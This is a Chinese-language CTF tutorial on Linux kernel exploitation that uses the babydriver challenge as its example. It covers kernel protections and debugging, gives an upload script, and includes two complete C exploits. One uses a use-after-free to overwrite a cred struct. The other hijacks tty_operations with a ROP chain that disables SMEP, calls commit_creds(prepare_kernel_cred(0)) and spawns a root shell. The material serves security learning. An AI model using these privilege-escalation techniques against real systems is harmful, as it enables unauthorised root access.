Kernel_pwn 入门

kernel pwn的入门学习

1.前置知识

1.1目标文件

kernel pwn题会提供编译好了的内核文件bzImage、文件系统镜像和qemu启动脚本,漏洞点一般位于.ko文件(驱动模块文件)中,该文件允许将内核的功能模块化, 能够方便地添加或删除内核的功能,因此这类文件是便于出题人动手脚的地方,我们要分析的就是这类二进制文件。

寻找用于ROP的gadget则要到vmlinux文件中去,vmlinux就是编译得到的linux内核文件,提供各种系统所需的核心功能。如果题目没有提供vmlinux文件,就要使用extract-vmlinux解压bzImage文件得到。

1.2 漏洞利用目标

kernel中的漏洞利用不是通过python写远程交互脚本来进行的,而是编写c程序,在其中利用系统调用与内核交互触发漏洞,最终目标是执行commit_creds(prepare_kernel_cred(0));提升进程权限后使用system("/bin/sh")开启一个shell。提权的原理是prepare_kernel_cred申请了一个新的uid与gid均为0的cred(每个进程都会分配一个cred结构体,其中保存有该进程的权限信息,uid和gid均为0说明是root权限进程),并通过commit_creds应用到当前进程。

1.3内核保护措施

kalsr:就是内核态的aslr,将加载的基地址随机化。

smep:意为管理模式执行保护,禁止处于内核态的进程执行位于用户空间的代码。用cr4寄存器中第20位来标识是否开启smep,1代表开启,0代表未开启。

smap:意为管理模式访问保护,禁止处于内核态的进程访问位于用户空间的数据。修改cr4寄存器也可以关闭。不过在5以上的linux kernel中这些SMAP/SMEP/UMIP位被固定在native_write_cr4函数中,因此不能在受支持的CPU上对该调用进行简单禁用。

1.4调试方式

在qemu的启动脚本中添加一个-s即可,这个参数的含义是开放1234端口供调试器连接。在gdb中执行target remote:1234就可以开始调试,若是返回一堆字符显示过长,输入set architecture i386:x86-64:intel指定目标cpu架构即可。

1.5 上传exp的脚本

网上找的sixstars战队dalao写的上传脚本,原理是将exp压缩后再base64编码后上传。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import os

context.log_level = 'debug'
cmd = '$ '

def exploit(r):
    r.sendlineafter(cmd, 'stty -echo')
    #os.system('musl-gcc  -static -O2 ./poc/exp.c -o ./poc/exp')
    os.system('gzip -c ./exp > ./exp.gz')
    r.sendlineafter(cmd, 'cat <<EOF > exp.gz.b64')
    r.sendline((read('./exp.gz')).encode('base64'))
    r.sendline('EOF')
    r.sendlineafter(cmd, 'base64 -d exp.gz.b64 > exp.gz')
    r.sendlineafter(cmd, 'gunzip ./exp.gz')
    r.sendlineafter(cmd, 'chmod +x ./exp')
    #r.sendlineafter(cmd, './exp')
    r.interactive()

#p = process('./startvm.sh', shell=True)
p = remote('',)

exploit(p)

2.babydriver

这道题是有名的kernel pwn入门题。首先从文件系统镜像提取出文件,查看其中的init文件。从中可知驱动文件为babydriver.ko,设备文件路径为/dev/babydev,内核版本为4.4.72。

image-20210105213137733

查看qemu启动脚本可知系统开启了smep保护。

image-20210105213912669

然后分析babydriver.ko。open系统调用的实现是调用kmem_cache_alloc_trace分配一块64字节的内存空间并将指针存到babydev_struct全局变量中。

image-20210105214558647

ioctl系统调用实现中允许用户更改分配内存块的大小,通过释放原来的,请求一个新的内存块实现。

image-20210105214823512

漏洞点位于close的系统调用实现中。在释放了内存后没有将指针清空导致的uaf。

image-20210105215138296

具体的利用是开启两次babydev,由于是用全局变量来存储的指针,因此同时只能存储一个指针,这样2个文件描述符共用了一块内存空间。close掉一个文件描述符再向另一个文件描述符中写数据即可进行uaf,具体的利用方式有两种。

2.1更改cred结构体

如上文所述,cred结构体描述了一个进程的权限,我们只需要将其中的uid和gid改为0即可提升权限到root,这可以通过uaf轻松做到。在close掉了fd1之后,调用fork函数开启一个子进程,开启子进程的过程中会分配0xa8大小的内存块作为它的cred,因此在我们在close之前要先使用ioctl将内存块大小改为0xa8,然后向fd2中写入28个0即可完成提权。28个0是由cred结构体确定的,结构体构成通过https://elixir.bootlin.com/linux/v4.4.72/source/include/linux/cred.h查询。

struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC  0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
    kuid_t      uid;        /* real UID of the task */
    kgid_t      gid;        /* real GID of the task */
    kuid_t      suid;       /* saved UID of the task */
    kgid_t      sgid;       /* saved GID of the task */
    kuid_t      euid;       /* effective UID of the task */
    kgid_t      egid;       /* effective GID of the task */
    kuid_t      fsuid;      /* UID for VFS ops */
    kgid_t      fsgid;      /* GID for VFS ops */
    unsigned    securebits; /* SUID-less security management */
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */
    kernel_cap_t    cap_permitted;  /* caps we're permitted */
    kernel_cap_t    cap_effective;  /* caps we can actually use */
    kernel_cap_t    cap_bset;   /* capability bounding set */
    kernel_cap_t    cap_ambient;    /* Ambient capability set */
#ifdef CONFIG_KEYS
    unsigned char   jit_keyring;    /* default keyring to attach requested
                     * keys to */
    struct key __rcu *session_keyring; /* keyring inherited over fork */
    struct key  *process_keyring; /* keyring private to this process */
    struct key  *thread_keyring; /* keyring private to this thread */
    struct key  *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
    void        *security;  /* subjective LSM security */
#endif
    struct user_struct *user;   /* real user ID subscription */
    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
    struct group_info *group_info;  /* supplementary groups for euid/fsgid */
    struct rcu_head rcu;        /* RCU deletion hook */
};

在子进程中执行system("/bin/sh")就成功拿到root权限的shell。

exp:

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<sys/stat.h>
#include<fcntl.h>
#include<string.h>
#include<stdint.h>
#include<sys/ioctl.h>

int main()
{
    int fd1,fd2,id;
    char payload[0xa8]={0};
    fd1=open("/dev/babydev",O_RDWR);
    fd2=open("/dev/babydev",O_RDWR);
    ioctl(fd1,65537,0xa8);
    close(fd1);
    id=fork();
    if(id==0)
    {
        write(fd2,payload,28);
        system("/bin/sh");
    }
    else
    wait(NULL);
    close(fd2);
    return 0;
}
2.2更改tty_struct伪造tty_operations

除了更改cred之外,伪造tty_operations来进行ROP是一种更通用的方法。首先由tty_struct的组成得知tty_operations的指针位于偏移0x18处。

struct tty_struct {
    int magic;
    struct kref kref;
    struct device *dev;
    struct tty_driver *driver;
    const struct tty_operations *ops;     // target
    int index;
    /* Protects ldisc changes: Lock tty not pty */
    struct ld_semaphore ldisc_sem;
    struct tty_ldisc *ldisc;
    struct mutex atomic_write_lock;
    struct mutex legacy_mutex;
    struct mutex throttle_mutex;
    struct rw_semaphore termios_rwsem;
    struct mutex winsize_mutex;
    spinlock_t ctrl_lock;
    spinlock_t flow_lock;
    /* Termios values are protected by the termios rwsem */
    struct ktermios termios, termios_locked;
    struct termiox *termiox;    /* May be NULL for unsupported */
    char name[64];
    struct pid *pgrp;       /* Protected by ctrl lock */
    struct pid *session;
    unsigned long flags;
    int count;
    struct winsize winsize;     /* winsize_mutex */
    unsigned long stopped:1,    /* flow_lock */
              flow_stopped:1,
              unused:BITS_PER_LONG - 2;
    int hw_stopped;
    unsigned long ctrl_status:8,    /* ctrl_lock */
              packet:1,
              unused_ctrl:BITS_PER_LONG - 9;
    unsigned int receive_room;  /* Bytes free for queue */
    int flow_change;
    struct tty_struct *link;
    struct fasync_struct *fasync;
    wait_queue_head_t write_wait;
    wait_queue_head_t read_wait;
    struct work_struct hangup_work;
    void *disc_data;
    void *driver_data;
    spinlock_t files_lock;      /* protects tty_files list */
    struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
    int closing;
    unsigned char *write_buf;
    int write_cnt;
    /* If the tty has a pending do_SAK, queue it here - akpm */
    struct work_struct SAK_work;
    struct tty_port *port;
} __randomize_layout;

使用与上一种方法相同的方式篡改掉tty_operations指针,只不过不是fork出子进程,而是打开/dev/ptmx文件,在这个过程中会分配0x2e0大小的内存作为tty_struct。不过由于我们能控制的那块内存并不位于链表尾部,所以需要开启多个/dev/ptmx来尝试将其申请出来。我们伪造的tty_operations中的ioctl函数指针为恶意代码的地址,这样在调用ioctl时就会执行我们想要的功能,但不能直接执行commit_creds(prepare_kernel_cred(0)),这是因为我们无法控制内核栈,执行完一个函数之后就不受我们控制了。因此要先栈迁移再进行ROP,利用xchg eax,esp;ret;这个gadget将栈顶指针改为eax存储的地址,由于tty_operations的函数指针调用就是通过rax实现的,因此栈迁移后的栈顶指针指向xchg eax,esp地址的低8字节地址,这是因为xchg会将寄存器中多出来的字节清0。我们通过mmap能够分配这8字节对应的地址空间,然后在其中布置ROP链。

ROP链的构造思路是先利用mov cr4,rdi;ret;这个gadget关闭smep保护,然后返回用户空间中的提权函数,这个函数通过函数指针执行commit_creds(prepare_kernel_cred(0)),由于未开启kaslr保护,这两个函数地址可以直接在qemu虚拟机中查看/proc/kallsyms符号表得到。

image-20210105223626629

然后再swapgs;ret;iretq;将进程返回到用户空间执行system("/bin/shell"),iretq需要布置的参数顺序是用户态的ip,cs,flags,sp和ss,这些参数事先通过一段内联汇编存储到程序中的变量中。

exp:

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<sys/stat.h>
#include<fcntl.h>
#include<string.h>
#include<stdint.h>
#include<sys/ioctl.h>
#include<inttypes.h>
#include<sys/mman.h>
#include<sys/types.h>
#include<sys/io.h>   
#include<stdint.h>

void save_regs();
void root();
void get_shell();

unsigned long user_cs,user_ss,user_rsp,user_eflags;
char fake_procfops[1024];

struct tty_operations
{
    struct tty_struct *(*lookup)(struct tty_driver *, struct file *, int); /*     0     8 */
    int (*install)(struct tty_driver *, struct tty_struct *);              /*     8     8 */
    void (*remove)(struct tty_driver *, struct tty_struct *);              /*    16     8 */
    int (*open)(struct tty_struct *, struct file *);                       /*    24     8 */
    void (*close)(struct tty_struct *, struct file *);                     /*    32     8 */
    void (*shutdown)(struct tty_struct *);                                 /*    40     8 */
    void (*cleanup)(struct tty_struct *);                                  /*    48     8 */
    int (*write)(struct tty_struct *, const unsigned char *, int);         /*    56     8 */
    /* --- cacheline 1 boundary (64 bytes) --- */
    int (*put_char)(struct tty_struct *, unsigned char);                            /*    64     8 */
    void (*flush_chars)(struct tty_struct *);                                       /*    72     8 */
    int (*write_room)(struct tty_struct *);                                         /*    80     8 */
    int (*chars_in_buffer)(struct tty_struct *);                                    /*    88     8 */
    int (*ioctl)(struct tty_struct *, unsigned int, long unsigned int);             /*    96     8 */
    long int (*compat_ioctl)(struct tty_struct *, unsigned int, long unsigned int); /*   104     8 */
    void (*set_termios)(struct tty_struct *, struct ktermios *);                    /*   112     8 */
    void (*throttle)(struct tty_struct *);                                          /*   120     8 */
    /* --- cacheline 2 boundary (128 bytes) --- */
    void (*unthrottle)(struct tty_struct *);           /*   128     8 */
    void (*stop)(struct tty_struct *);                 /*   136     8 */
    void (*start)(struct tty_struct *);                /*   144     8 */
    void (*hangup)(struct tty_struct *);               /*   152     8 */
    int (*break_ctl)(struct tty_struct *, int);        /*   160     8 */
    void (*flush_buffer)(struct tty_struct *);         /*   168     8 */
    void (*set_ldisc)(struct tty_struct *);            /*   176     8 */
    void (*wait_until_sent)(struct tty_struct *, int); /*   184     8 */
    /* --- cacheline 3 boundary (192 bytes) --- */
    void (*send_xchar)(struct tty_struct *, char);                           /*   192     8 */
    int (*tiocmget)(struct tty_struct *);                                    /*   200     8 */
    int (*tiocmset)(struct tty_struct *, unsigned int, unsigned int);        /*   208     8 */
    int (*resize)(struct tty_struct *, struct winsize *);                    /*   216     8 */
    int (*set_termiox)(struct tty_struct *, struct termiox *);               /*   224     8 */
    int (*get_icount)(struct tty_struct *, struct serial_icounter_struct *); /*   232     8 */
    const struct file_operations *proc_fops;                                 /*   240     8 */

    /* size: 248, cachelines: 4, members: 31 */
    /* last cacheline: 56 bytes */
};

int main()
{
    int fd1,fd2,fd3[256],i;//0xffffffff8100008a xchg
    struct tty_operations fake_ops;
    char fake_tty[32],*rop;
    save_regs();
    fd1=open("/dev/babydev",O_RDWR);
    fd2=open("/dev/babydev",O_RDWR);
    ioctl(fd1,65537,0x2e0);
    close(fd1);
    for(i=0;i<256;i++)
    {
        fd3[i]=open("/dev/ptmx",O_RDWR);
    }
    memset(&fake_ops, 0, sizeof(fake_ops));
        memset(fake_procfops, 0, sizeof(fake_procfops));
        fake_ops.proc_fops=&fake_procfops;
    fake_ops.ioctl=0xFFFFFFFF812D0978;
    read(fd2,fake_tty,32);
    *(char **)&fake_tty[24]=&fake_ops;
    write(fd2,fake_tty,32);
    rop=mmap(0x812D0978,0x2000,7, MAP_PRIVATE | MAP_ANONYMOUS,0,0);
    printf("%p\n",rop);
    *(char **)&rop[0+0x978]=0xFFFFFFFF813E7D6F;//pop rdi
    *(char **)&rop[8+0x978]=0x6f0;
    *(char **)&rop[16+0x978]=0xFFFFFFFF810635B4;//mov cr4,rdi;pop rbp;ret
    *(char **)&rop[24+0x978]=0;
    *(char **)&rop[32+0x978]=(unsigned long)root;
    *(char **)&rop[40+0x978]=0xFFFFFFFF81063694;//swapgs;pop rbp;ret
    *(char **)&rop[48+0x978]=0;
    *(char **)&rop[56+0x978]=0xFFFFFFFF8181A797;//iretq
    *(char **)&rop[64+0x978]=(unsigned long)get_shell;
    *(char **)&rop[72+0x978]=user_cs;
    *(char **)&rop[80+0x978]=user_eflags;
    *(char **)&rop[88+0x978]=user_rsp;
    *(char **)&rop[96+0x978]=user_ss;
    for(i=0;i<256;i++)
    {
        if(fd3[i]!=-1)
        ioctl(fd3[i],0,0);
        printf("%d ",i);
    }
    close(fd2);
    for(i=0;i<256;i++)
    close(fd3[i]);
    return 0;
}

void save_regs()
{
    asm(
    "movq %%cs,%0;"
    "movq %%ss,%1;"
    "movq %%rsp,%2;"
    "pushf;"
    "popq %3;"
    :"=r"(user_cs),"=r"(user_ss),"=r"(user_rsp),"=r"(user_eflags)::"memory");
}

void root()
{
    char* (*p_k_c)(int);
    int (*c_c)(char*);
    p_k_c=0xffffffff810a1810;//prepare_kernel_cred
    c_c=0xffffffff810a1420;//commit_creds
    c_c(p_k_c(0));
}

void get_shell()
{
    system("/bin/sh");
}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇